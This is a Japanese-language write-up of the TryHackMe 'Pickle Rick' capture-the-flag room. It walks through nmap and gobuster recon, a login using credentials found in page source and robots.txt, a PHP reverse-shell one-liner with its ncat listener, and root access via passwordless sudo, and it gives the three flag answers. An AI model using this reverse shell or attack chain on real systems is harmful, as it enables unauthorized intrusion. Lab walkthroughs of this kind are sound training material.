👏

[TryHackMe] Pickle Rick-writeup

に公開

recon

nmapを使用して空いてるポート見つけます

┌─[][user@parrot][~]
└──╼ $nmap -sV -T4 -A 10.10.86.178
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-19 01:44 UTC
Nmap scan report for 10.10.86.178
Host is up (0.35s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 25:cd:9c:a0:33:71:c4:9d:b7:9e:c7:f1:ae:1d:8f:80 (RSA)
|   256 39:22:f3:76:a0:b1:7b:23:5c:a3:34:01:49:76:a9:dd (ECDSA)
|_  256 26:7d:37:48:f7:ab:ff:3c:ec:12:e1:2b:18:24:88:48 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Rick is sup4r cool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.30 seconds

22と80が開いてました。

enumeration

gobusterでディレクトリの列挙をします。

┌─[user@parrot][~]
└──╼ $gobuster dir -u http://10.10.86.178 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.86.178
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/assets               (Status: 301) [Size: 313] [--> http://10.10.86.178/assets/]
/index.html           (Status: 200) [Size: 1062]
/robots.txt           (Status: 200) [Size: 17]
/server-status        (Status: 403) [Size: 277]

intrusion

image.png

このページのソースを見るとユーザー名がコメント化されていました。

 <!--
    Note to self, remember username!
    Username: R1ckRul3s
  -->

image.png

/robots.txtにWubbalubbadubdubという文字列が、、、、

/login.phpでログインを求められました。
先ほどのユーザ名でログインを試みます。
/robots.txtの文字列がパスワードかもしれない?

image.png
見事ログインできました!

1st frag

shellコマンドがそのまま打てるようです
shellを反射させるコードを埋めます

php -r '$sock=fsockopen("10.8.152.215",9999);exec("/bin/bash <&3 >&3 2>&3");'
┌─[user@parrot][~]
└──╼ $ncat -lvnp 9999
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.86.178:40426.
whoami
www-data
python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@ip-10-10-86-178:/var/www/html$ ls
ls
Sup3rS3cretPickl3Ingred.txt  clue.txt	 index.html  portal.php
assets			     denied.php  login.php   robots.txt
www-data@ip-10-10-86-178:/var/www/html$ 

怪しいファイルを見つけました。

www-data@ip-10-10-86-178:/var/www/html$ cat Sup3rS3cretPickl3Ingred.txt
cat Sup3rS3cretPickl3Ingred.txt
mr. meeseek hair

一つ目のfragを発見しました。

mr. meeseek hair

2rd frag

$HOME内に怪しいファイルを見つけました。

www-data@ip-10-10-86-178:/home/rick$ cat 'second ingredients'
cat 'second ingredients'
1 jerry tear

二つ目もあっさり見つけました。

1 jerry tear

3rd frag

www-data@ip-10-10-86-178:/home/rick$ sudo -l
sudo -l
Matching Defaults entries for www-data on ip-10-10-86-178:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ip-10-10-86-178:
    (ALL) NOPASSWD: ALL

まさかの全てrootでしたので昇格します

www-data@ip-10-10-86-178:/home/rick$ sudo bash
sudo bash
root@ip-10-10-86-178:/home/rick# whoami
whoami
root

/rootに怪しいファイルを見つけました。

root@ip-10-10-86-178:~# cat 3rd.txt
cat 3rd.txt
3rd ingredients: fleeb juice

fleeb juice

Discussion